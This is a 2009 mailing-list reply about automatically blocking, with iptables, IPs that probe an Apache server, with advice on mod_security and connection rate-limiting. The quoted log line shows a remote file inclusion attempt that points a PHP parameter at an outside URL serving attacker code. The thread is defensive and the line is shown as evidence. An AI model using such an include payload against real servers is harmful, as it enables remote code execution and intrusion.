blocking ips with iptables accessing invalid URL

[Daniel Carrillo]

2009/7/8 ESGLinux <esggrupos at gmail.com>:
> Hi all,
> I´m having a problem with an Apache web server.
>
> I get a lot of access ot this kind:
>
>
> x.x.x.x - - [08/Jul/2009:09:42:20 +0200] "GET
> //includes/mailaccess/pop3.php?CONFIG[pear_dir]=http://aboutav.com//id1.txt???
> HTTP/1.1" 404 1015 "-" "Mozilla/5.0"
>
> where x.x.x.x is the ip of the client, I suposse this ip is trying to find a
> security hole in my system, so what I do manually is this:

With Apache, a very useful tool to block this events is mod_security.

>
> iptables -A INPUT -s x.x.x.x -p tcp -m tcp --dport 80 -j DROP
>
> I want to do this automatically. I´m thinking to use logwatch but I´m not
> sure how to do it. (I´m testing but for the moment I haven´t found the
> solution)
>
> anybody knows another way to do what I want?
>
> By the way, I´m interesting to limit the connections to my webserver using
> iptables with limit module and busrt argument. What do you think about it?
> is a good solution or I´m on the wrong way? Do you know how to prevent DOS
> attacks?

You can do this with iptables, but always take in mind the corporate
proxys and gateways. A gubernamental proxy by example, can do a lot of
legitime connections.

Hope this helps.